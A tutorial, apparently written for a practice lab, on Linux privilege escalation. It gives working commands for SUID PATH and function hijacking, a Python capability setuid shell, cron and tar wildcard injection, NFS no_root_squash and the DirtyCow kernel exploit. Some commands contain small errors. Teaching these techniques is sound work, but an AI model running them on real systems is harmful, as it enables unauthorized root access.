A Guide to Linux Privilege Escalation Attacks (Part II)

Let’s continue on from Part 1.

We’ll be covering these techniques:

  • SUID
    • SUID with PATH environment variable (indirect path)
    • SUID with PATH environment variable (direct path)
  • Capabilities
  • Cronjobs
    • PATH environment variable abusing
    • Wildcard abusing
    • Weak file permission abusing
  • NFS Root Squashing
  • Kernel Exploit
    • DirtyCow
    • DirtyPipe
    • OverlayFS
  • Tools for automation

Use this virtual machine to execute the techniques (it’s the same machine from Part I.)

SUID

SUID with PATH Environment Variable (Indirect)

Let’s start with this question: How does the Linux terminal find an executable file that we execute as a command?

For example, think of the cat command. You can access that command from anywhere in the shell. However, the file doesn’t exist everywhere. How does this work?

It works because of an environment variable called PATH. It specifies a set of directories where executable programs are located.

Run the command ‘echo $PATH’. You will see all the directories currently configured in your system’s $PATH variable.

image.png

When we add a directory to the PATH variable, it enables us to call the program or script from anywhere in the system- without specifying the path to where it’s stored.

When you execute a command in the shell, the system accesses the $PATH environment variable. It searches for the binary file in the first path’s directory (usr/local/bin.) If it doesn’t find the file there, it moves on to the next one.

If the binary isn’t found in any of the directories, it simply outputs the error message you get when a command isn’t found.

Imagine that both /usr/bin and /usr/local/bin have the binary. Which one is executed? It’s the first one. If you can inject your own path into the PATH variable, you can get the system to run code that will escalate your privileges.

Follow along. Run this command to find SUID binary files:

find / -type f -perm -04000 -ls 2>/dev/null

image.png

Let’s go with the highlighted binary. Use this command to see the strings inside the executable:

strings /usr/local/bin/suid-env

image.png

Check out the last listing: “service apache2 start.” Let’s exploit the ‘service’ command with the $PATH method.

First, let’s find out which directory the service command belongs to. Run the command “which service”.

image.png

Let’s make our own service file with malware, and alter the PATH environment variable.

Run this command to create the malware:

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c

Now compile it with this command:

gcc /tmp/service.c -o /tmp/service

Add this to the $PATH environment variable:

export PATH=/tmp:$PATH

image.png

Check which directories are stored in $PATH. Then run the “which service” command again.

image.png

Let me take you back to the screenshots from earlier, before we created our malware and altered the $PATH variable.

image.png
image.png

See the difference? The /tmp directory was added to the $PATH environment variable. We made our own service file and added it to the /tmp directory.

When the ‘service’ command is executed within the SUID binary, the system will search for it in the $PATH variable. Since our /tmp directory is the first one, our malicious ‘service’ binary will be executed first.

Try this out. Execute the SUID binary. You’ll be the root user!

image.png

SUID with PATH Environment Variable (Full Path)

If the executable has a full path (like usr/sbin/service), the method above won’t work. It doesn’t matter if we change the PATH variable. It will still execute from its specified path.

However, we can create a malicious function with the same path. Follow along to see how this works.

Run this command to find the SUID binaries:

find / -type f -perm -04000 -ls 2>/dev/null

image.png

Let’s use the highlighted binary for this demonstration.

As you can see, it has the SETUID bit activated on the binary. This means that when file is executed, it executes with the file owner’s privileges (in this case, root)

Look at the strings inside the binary with the command ‘strings /usr/local/bin/suid-env2’

image.png

Check out the last listing: the service command runs with a full path. Here’s where a function will come in handy.

To demonstrate why, use the “which cat” command to see the full path for the “cat” command.

image.png

Use the cat command- using its full path- to read any file in the /etc/passwd directory.

/bin/cat /etc/passwd

image.png

Now let’s create a function called /bin/cat().

function /bin/cat() { echo "This is how it works"; }

image.png

Export this function to a shell environment:

export -f /bin/cat

image.png

Use the /bin/cat path to read the /etc/passwd file again:

image.png

Do you see how this works? Linux will recognize and run the function first.

Let’s use this to gain privileges. Run this command to create a malicious function:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }

We’ve created a service() function with the same path as the PATH environment variable.  When the SUID-enabled binary executes, it will run our function instead of the original /usr/sbin/service path.

Now export the function into the shell environment:

export -f /usr/sbin/service

Execute the binary now. You’re the root!

image.png

CAPABILITIES

The Linux Kernel is designed so that it won’t restrict any processes executed from the root user or any user with a UID of 0.

This is quite the security risk. An attacker can get root access if they compromise this process.

This is why capabilities were created. They allow binaries to access certain parts of a system without root privileges.

Run the command “capsh —print” to see all the capabilities on your local machine.

image.png

Notice the cap_setuid capability. This can be abused to get higher privileges! If we set the UID to 0, we can become the root user.

Run this command to see which capabilities are enabled on the vulnerable machine:

getcap -r / 2>/dev/null

image.png

The setuid is available, and it’s Python executable. Let’s use Python’s os library to change the uid and execute a bash shell:

/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")

You’re the root!

image.png

CRONJOB

To put it simply, Cronjob is like an alarm clock. You can use it to execute jobs at certain times. Let’s cover some ways it can be abused to escalate privileges.

PATH Environment Variable Abusing

Cronjob has its own PATH variable. If we can manipulate it, we can run malware designed to give us root access.

Run this command:

cat /etc/crontab

image.png

Look at the marked cronjobs. Each minute, two shell scripts are running as root. The overwrite.sh file will execute every minute of every hour of every day of every month. It doesn’t have a full path, either.

Let’s abuse it. We’ll create our own overwrite.sh file with malicious code. It will execute when the cronjob runs.

Run this command:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh

Now change the file’s permission to executable:

chmod +x /home/user/overwrite.sh

image.png

Wait one minute for the cronjob to execute. Run the command ‘/tmp/bash -p’

image.png

You’ve got a root shell!

Wildcard Abusing

Remember that the character “*” is a Linux wildcard. It represents everything. Let me show you an example:

image.png

In the image above, the home directory of this user has 1 file and 1 directory. Run the file command on myvpn.ovpn.

image.png

It reveals that it’s an ASCII text file. Run the command with the wildcard in place of the filename.

image.png

You get information about the file AND the directory. The * means “everything in the home directory, except for what’s hidden.”

These can be used to escalate privileges. I’ll show you how to escalate privileges using the tar command with the “*” wildcard.

Run the ‘cat /etc/crontab’ command to look for cronjobs again:

image.png

Check out the last job. Let’s look inside the shell script:

image.png

This is a simple script. It switches to the /home/user directory, then runs the tar command with *.

I visited GTFOBins and searched “tar”. There are exploits.

image.png

If we can inject the command (marked by the rectangle) in place of *, we can get a shell. Since compress.sh is running as root, we’ll get a root shell upon execution.

Run this command to make a shell script:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh

image.png

Create two files using these commands:

touch /home/user/--checkpoint=1

touch /home/user/--checkpoint-action=exec=sh\ runme.sh

image.png

When the tar command tries to run inside this directory, the two files you’ve made will act as command arguments instead of files.

When the command runs, it will execute like this:

Before:

tar czf /tmp/backup.tar.gz *

After:

tar czf /tmp/backup.tar.gz --checkpoint=1  --checkpoint-action=exec=sh runme.sh myvpn.ovpn runme.sh tools

After one minute, execute /tmp/bash -p. You’ll have a root shell.

image.png

Weak File Permission Abusing

If the shell script is running as root, it shouldn’t have permission to be edited by other users except for the root.

If a file contains write permissions for any users, you can alter the code inside it to escalate your privileges.

Check the ‘cat /etc/crontab’ command for cronjobs:

image.png

Let’s check the permissions of the overwrite.sh file. First, find the file location.

locate overwrite.sh

image.png

Now run ‘ls -l /usr/local/bin/overwrite.sh’

image.png

The file contains write permissions for anybody.

Go ahead and change the content to escalate your privileges.

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh

Now wait 1 minute for the cronjob to execute, then execute ‘/tmp/bash -p’

image.png

You’ve got a root shell!

NFS Root Squashing

NFS (Network File System) is a file sharing system. It enables a remote host to “mount” Linux directories over a network, so others can interact with the files- called “NFS Shares”- as if they were mounted locally.

NFS uses “root squashing” by default. Imagine that you’re the root user on your local machine, and you connect to the NFS server remotely. You add a file.

You check the permissions of the file, and you see that the owner is not root- it’s a user called “nsfnobody.” This user is unprivileged.

This is the point of root squashing. It “squashes” the power of the remote root user and prevents executables with SETUID bits from being uploaded to the server.

When ‘no_root_squash’ is enabled, the file ownership won’t be changed to nfsnobody. This means we can copy a file onto the NFS server that’s owned by the root user, enable the SETUID bit, then run that file on the victim machine. Follow along.

Run this command to see if no_root_squash is enabled on the NFS server:

cat /etc/exports

The /etc/exports file is the configuration file for the NFS server.

image.png

The green box indicates the mount point. The red box indicates that no_root_squash is enabled.

On your local machine, run the command ‘showmount -e <IP>’ to verify the mount point.

image.png

Continuing on the local machine, switch to the root user (the following commands must be executed as root.)

sudo su root

Create a directory in /tmp using this command:

mkdir /tmp/nfs_privesc

image.png

Mount the new directory to the victim machine:

mount -o rw,vers=3 <IP>:/tmp /tmp/nfs_privesc

image.png
  • In the screenshot above, the IP is different than the one I ran the ‘showmount’ command on. It’s because I needed to reboot the TryHackMe machine.

Now make a SETUID bit-enabled C program:

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/nfs_privesc/rootshell.c

image.png

Compile it:

gcc -static /tmp/nfs_privesc/rootshell.c -o nfs -w -o /tmp/nfs_privesc/rootshell

Now give it SUID permission:

chmod +s /tmp/nfs_privesc/rootshell

image.png

Head to the victim machine. Check the /tmp directory, and you’ll see the rootshell we just created. Execute it. You’re root!

image.png

Kernel Exploit

This is a simple exploit. Run the ‘uname -srm’ command to find the kernel version.

image.png

Copy the version and check Google for anything available.

image.png

All you need to do is download the exploit and run it. Luckily, the machine owner has already downloaded it for you. It’s in this directory: /home/user/tools/dirtycow

image.png

Compile it:

gcc -pthread /home/user/tools/dirtycow/c0w.c -o c0w

Then run the exploit:

./c0w ourpass

It may take a minute or two to finish.

image.png

Now type ‘passwd’ in the terminal, and you will become the root.

image.png

DirtyPipe

This method is just like DirtyCow. It’s another kernel-based vulnerability that enables attackers to perform a privilege escalation (you can read more about it here.)

Try this as an exercise- you can access the vulnerable machine here.

Overlayfs

This is also a kernel-based vulnerability. It’s similar to DirtyCow and DirtyPipe. I’m also giving this to you as an exercise- you can access the vulnerable machine here.

Automation

We’ve completed all these techniques manually thus far. To make your pentesting more efficient, here are some of the most famous automation tools you can use:

Keep in mind that these only find the vulnerabilities. They won’t exploit them. This is where you come in!

  1. LinPEAS
  2. LinEnum
  3. LinuxExploitSuggester
  4. LinuxExploitSuggester2
  5. LinuxPrivEscChecker

Let’s see a demo of LinPEAS and Linux Exploit Suggester. We’ll start with the latter.

When you use these tools, you need to download it on your local machine and transfer it to the victim machine (using a program like SSH or Python). The owner of this virtual machine has already downloaded these for us, though.

image.png

Linux Exploit Suggester

Change into the /tools directory and run this file:

./linux-exploit-suggester/linux-exploit-suggester.sh

image.png

Many exploits appear! One is DirtyCow, which we saw earlier.

image.png

This isn’t a guarantee that it works. It’s just a suggestion- you have to be the one to check whether it works or not.

LinPEAS

image.png

Be sure to look at the legends.

It detected the cronjob:

image.png

Sudo shell escaping:

image.png

NFS no_root_squash:

image.png

Capabilities:

image.png

Readable shadow file:

image.png

Exposed passwords:

image.png

And writable files:

image.png

That’s all for now. I suggest looking around the LinPEAS results to see what other vulnerabilities may have been detected.

Thanks for reading!